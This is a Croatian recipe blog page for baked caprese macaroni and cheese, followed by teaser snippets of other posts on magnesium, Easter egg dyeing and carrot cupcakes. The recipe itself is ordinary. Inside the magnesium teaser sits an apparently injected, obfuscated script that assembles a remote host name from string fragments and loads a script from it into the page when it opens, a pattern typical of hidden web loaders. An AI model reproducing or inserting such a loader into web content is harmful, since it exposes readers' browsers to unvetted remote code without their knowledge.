CAPRESE U PEĆNICI





Caprese u pećnici 



Caprese je jednostavna salata koja se priprema od svježe mozzarele, rajčice i bosiljka, a ova verzija makarona sa sirom sadrži sve prednosti tog izvrsnog trojstva. Jednostavan umak od sira obogaćen je s malo senfa od Dijona i bosiljka, što bogatom okusu sira daje dobrodošlu svježinu. Zatim se ploške rajčice poslažu preko kremaste tjestenine prije nego što se površina ukrasi kuglicama svježe mozzarele.




Caprese u pećnici 


Sastojci:


  • 340 grama orecchiette tjestenine (školjkica)


  • 1/4 šalice nesoljenog maslaca


  • 1/4 šalice glatkog pšeničnog brašna


  • 3 šalice punomasnog mlijeka


  • 220 grama naribane mozzarelle


  • 1/2 šalice mini kuglica mozzarelle


  • 2 manje zrele rajčice, narezane na ploške od 0,5 centimetara


  • 1 žlica nasjeckanog svježeg bosiljka (plus dodatni listići za ukrašavanje)


  • 2 žličice Dijon senfa


  • 2 žličice krupne soli





Priprema:

Tjestenina se skuha prema uputama na pakiranju, ocijedi i stavi sa strane. Dok se tjestenina kuha, u velikom loncu na srednjoj vatri otopi se maslac. Dodaje se brašno i kuha se oko dvije minute uz neprestano miješanje pjenjačom, sve dok smjesa ne poprimi svijetlosmeđu boju i ugodan miris. Nakon toga se polako ulijeva mlijeko te se kuha još oko osam minuta, uz često miješanje, dok se umak ne zgusne.

Lonac se makne s vatre i umak se ostavi hladiti tri minute uz povremeno miješanje. U lagano prohlađen umak dodaje se naribana mozzarella i miješa se dok se potpuno ne rastopi. Zatim se umiješaju nasjeckani bosiljak, senf i sol, a na samom kraju se u dobiveni umak lagano umuti ocijeđena tjestenina.

Pećnica se prethodno zagrije na opciju pečenja pod gornjim grijačem, a rešetka se postavi u središnji položaj. Tjestenina se prebaci u vatrostalnu posudu za pečenje zapremnine oko dvije i pol litre. Preko površine tjestenine rasporede se ploške rajčice i kuglice mozzarele.

Jelo se peče pet do osam minuta, odnosno dok rajčice ne omekšaju, mozzarella se potpuno rastopi, a površina na pojedinim mjestima počne rumeniti. Prije samog posluživanja, jelo se ukrasi listićima svježeg bosiljka.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više